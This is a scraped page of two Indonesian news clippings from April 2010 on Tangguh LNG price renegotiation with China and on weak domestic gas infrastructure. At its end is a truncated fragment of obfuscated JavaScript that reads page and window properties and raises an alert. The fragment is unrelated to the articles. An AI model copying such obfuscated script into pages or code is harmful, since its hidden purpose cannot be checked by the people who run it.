Media Indonesia, 11 April 2010

JAKARTA–MI : Pengamat migas, Pri Agung Rakhmanto meminta pemerintah merundingkan kembali masalah harga gas alam cair (liquified natural gas/LNG) Tangguh, saat kunjungan Perdana Menteri China Wen Jiabao yang dijadwalkan akhir April 2010.

“Renegosiasi harga bukanlah hal yang tidak mungkin dilakukan. Pemerintah bisa memanfaatkan kunjungan PM China buat mengkaji lagi harga LNG Tangguh yang memang murah,” katanya di Jakarta, Minggu (11/4). Menurut Direktur ReforMiner Institute itu, pemerintah mesti memanfaatkan secara sungguh-sungguh kedatangan PM China untuk melakukan pembicaraan kembali mengenai harga Tangguh. China, lanjutnya, sedang gencar-gencarnya mencari pasokan energi untuk menggerakkan perekonomian negara itu, yang beberapa tahun terakhir tumbuh cepat.

“China sedang haus energi. Hal ini mesti jadi alat untuk menawarkan perubahan harga Tangguh,” katanya. Selain Tangguh, Pri menambahkan, pemerintah bisa memanfaatkan kunjungan Wen untuk mendapatkan komitmen investasi eksplorasi migas khususnya di wilayah Indonesia bagian timur. Potensi migas khususnya gas di wilayah Indonesia bagian timur diketahui cukup besar dan pemerintah tengah berupaya mencari investor yang mau menggarap cadangan tersebut. Sementara itu, pengamat ekonomi dari Universitas Katolik Atmajaya, Jakarta, A Prasetyantoko mengatakan, kedatangan PM China bisa dimanfaatkan untuk lebih meningkatkan investasi di sektor infrastruktur seperti pembangkit listrik. Selama ini, menurut dia, China sudah cukup banyak menanamkan modal di bidang pembangkit listrik khususnya proyek 10.000 MW tahap pertama. “Pemerintah harus lebih menarik lagi investasi di pembangkit listrik saat PM China datang,” ujarnya.(Ant/OL-02)

Kompas, 10 April 2010

JakartaA�- Pembangunan infrastruktur gas di Indonesia dinilai belum jadi prioritas pemerintah. Hal ini mengakibatkan terjadi kekurangan pasokan gas untuk domestik. Menurut Direktur Eksekutif Lembaga Kajian Reformasi Pertambangan dan Energi Pri Agung Rakhmanto, Jumat (9/4) di Jakarta, infrastruktur seperti halnya penampung gas, pipa transmisi, dan distribusi sesungguhnya tanggung jawab pemerintah.

Ini sama dengan kewajiban awal pemerintah menyediakan jaringan listrik atau fasilitas distribusi bahan bakar minyak (BBM) yang kini masing-masing dikelola PT Perusahaan Listrik Negara (PLN) dan PT Pertamina, kata dia menegaskan.

Pri Agung menjelaskan, krisis gas sekarang ini terjadi karena pengembangan infrastrukturnya tidak dijadikan prioritas sehingga tidak ada cetak birunya yang konkret. Kalau ini tidak dibenahi, tidak saja gas kita akan selalu diekspor, tetapi menerima gas dari impor pun kita juga tidak akan bisa, ujarnya.

Butuh biaya besar

Secara terpisah, Kepala Badan Pelaksana Kegiatan Hulu Minyak dan Gas Bumi (BP Migas) R Priyono menyatakan, sebenarnya total produksi gas di Indonesia bisa memenuhi kebutuhan domestik saat ini. Masalahnya, infrastruktur gas sangat minim. Untuk membangun infrastruktur, tentu butuh biaya investasi yang besar dan waktu lama, ujar Priyono. Menanggapi hal itu, Direktur Jenderal Migas Kementerian Energi dan Sumber Daya Mineral Evita H Legowo menjelaskan, infrastruktur gas yang paling penting sekarang adalah terminal penampung gas alam cair. Pemerintah telah menargetkan pembangunan penampung gas untuk Sumatera dan Jawa Barat rampung pada September 2011. (EVY)

t(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}